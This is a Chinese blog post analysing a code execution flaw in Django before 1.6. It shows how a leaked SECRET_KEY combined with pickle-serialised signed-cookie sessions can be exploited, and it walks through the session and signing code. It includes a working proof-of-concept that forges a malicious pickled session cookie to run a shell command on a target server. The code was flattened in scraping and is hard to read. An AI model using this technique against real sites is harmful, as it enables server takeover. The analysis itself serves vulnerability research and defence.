Django任意代码执行漏洞分析
admin
2023-07-30 22:41:14
0

1 从Django的SECTET_KEY到代码执行

Django是一个可以用于快速搭建高性能,优雅的网站的平台,由Python写成。采用了MVC的软件设计模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。并于2005年7月在BSD许可证下发布。

最近在进行网站代码审查的过程中,发现某些产品由于session使用不当,导致可能被攻击者利用,执行任意代码。这些产品在登录的JS代码中,泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

2 SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景: 1,json object的签名 2,加密函数,如密码重置,表单,评论,csrf的key,session数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

3 代码执行

3.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:

1 SSION_ENGINE = \’django.contrib.sessions.backends.signed_cookies\’

 

3.2 django 1.6以下

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

3.3 session处理流程

可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码

1234 class SessionMiddleware(object):    def process_request(self, request):        engine = import_module(settings.SESSION_ENGINE)        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

123456789101112131415 def loads(s, key=None, salt=\’django.core.signing\’, serializer=JSONSerializer, max_age=None):    \”\”\”    Reverse of dumps(), raises BadSignature if signature fails    \”\”\”    base64d = smart_str(        TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))    decompress = False    if base64d[0] == \’.\’:        # It\’s compressed; uncompress it first        base64d = base64d[1:]        decompress = True    data = b64_decode(base64d)    if decompress:        data = zlib.decompress(data)    return serializer().loads(data)

3.4 构造POC

123456789101112131415161718192021 import osos.environ.setdefault(\’DJANGO_SETTINGS_MODULE\’,\’settings\’)from django.conf import settingsfrom django.core import signingfrom django.contrib.sessions.backends import signed_cookies class Run(object):    def __reduce__(self):        return (os.system,(\’touch /tmp/xxlegend.log\’,)) sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt=\’django.contrib.sessions.backends.signed_cookies\’)print sess import urllib2import cookielib url = \’http://10.24.35.228:8000/favicon.ico\’headers = {\’Cookie\’:\’sessionid=\”%s\”\’ %(sess)}request = urllib2.Request(url,headers = headers)response = urllib2.urlopen(request)print response.read()

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。

总结

利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。


相关内容

热门资讯

500 行 Python 代码... 语法分析器描述了一个句子的语法结构,用来帮助其他的应用进行推理。自然语言引入了很多意外的歧义,以我们...
定时清理删除C:\Progra... C:\Program Files (x86)下面很多scoped_dir开头的文件夹 写个批处理 定...
65536是2的几次方 计算2... 65536是2的16次方:65536=2⁶ 65536是256的2次方:65536=256 6553...
Mobi、epub格式电子书如... 在wps里全局设置里有一个文件关联,打开,勾选电子书文件选项就可以了。
scoped_dir32_70... 一台虚拟机C盘总是莫名奇妙的空间用完,导致很多软件没法再运行。经过仔细检查发现是C:\Program...
pycparser 是一个用... `pycparser` 是一个用 Python 编写的 C 语言解析器。它可以用来解析 C 代码并构...
小程序支付时提示:appid和... [Q]小程序支付时提示:appid和mch_id不匹配 [A]小程序和微信支付没有进行关联,访问“小...
微信小程序使用slider实现... 众所周知哈,微信小程序里面的音频播放是没有进度条的,但最近有个项目呢,客户要求音频要有进度条控制,所...
Prometheus+Graf... 一,Prometheus概述 1,什么是Prometheus?Prometheus是最初在Sound...
python绘图库Matplo... 本文简单介绍了Python绘图库Matplotlib的安装,简介如下: matplotlib是pyt...